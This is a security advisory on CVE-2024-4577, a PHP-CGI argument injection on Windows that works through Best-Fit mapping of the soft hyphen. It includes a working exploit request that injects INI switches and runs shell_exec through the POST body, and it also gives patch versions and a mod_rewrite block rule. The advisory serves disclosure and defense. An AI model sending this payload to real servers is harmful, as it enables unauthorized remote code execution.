PHP-CGI Windows Best-Fit Character Mapping Argument Injection RCE
Executive Summary
CVE-2024-4577 is a critical remote code execution vulnerability discovered by security researcher Orange Tsai of DEVCORE affecting PHP installations running on Microsoft Windows in CGI mode (or exposed via Apache Action application/x-httpd-php-cgi).
Assigned a CVSS score of 9.8 (CRITICAL), the vulnerability circumvents previous protections established for CVE-2012-1823 by exploiting a fundamental feature of the Windows operating system: Best-Fit Character Mapping.
Technical Root Cause: Best-Fit Unicode Conversion
Under Windows, when an application interacts with wide-character Unicode APIs using standard multibyte character sets (such as Big5, Shift-JIS, or UTF-8), Windows attempts to map characters that do not have an exact representation to the visually closest corresponding ASCII character (the "Best-Fit" policy).
Specifically, the Soft Hyphen character:
- •Unicode:
U+00AD(Byte sequence%ADin URL encoding)
When PHP CGI processes command line arguments, it attempts to escape incoming user parameters to prevent query string options from being interpreted as CLI switches:
// Traditional filter checks for literal hyphen character '-' (ASCII 0x2D)
if (*p == '-') {
// Escape or reject switch
}However, when Apache passes query parameters to php-cgi.exe on Windows, the operating system converts %AD into standard ASCII - (0x2D) before php-cgi.exe evaluates its CLI command-line parameters.
Exploitation Mechanics & Remote Code Execution
By sending a query string containing %AD, an unauthenticated attacker can inject command-line switches directly into the PHP interpreter:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: vulnerable-windows-server.com
Content-Type: application/x-www-form-urlencoded
<?php echo shell_exec("whoami"); ?>Breakdown of Injected Arguments
- •
%ADd allow_url_include=1: Injects the-d allow_url_include=1INI configuration directive, allowing PHP to include external or input streams as code. - •
%ADd auto_prepend_file=php://input: Injects-d auto_prepend_file=php://input, instructing the interpreter to execute the body of the incoming HTTP POST request prior to the requested script.
The result is immediate, unrestricted arbitrary code execution with the permissions of the web server worker process (SYSTEM or IUSR).
Affected Configurations
- •Any Windows server running Apache with PHP via CGI (e.g. standard XAMPP for Windows default configurations).
- •Systems configured with locale code pages including Traditional Chinese (Code Page 950), Simplified Chinese (Code Page 936), or Japanese (Code Page 932).
Remediation & Mitigations
Upgrade to PHP 8.3.8, PHP 8.2.20, or PHP 8.1.29.
If upgrading is delayed, add a mod_rewrite rule to block requests containing the soft-hyphen byte:
RewriteEngine On
RewriteCond %{QUERY_STRING} ^(%ad|%AD) [NC]
RewriteRule .* - [F,L]mod_fcgid) or PHP-FPM where arguments are not passed via process command lines.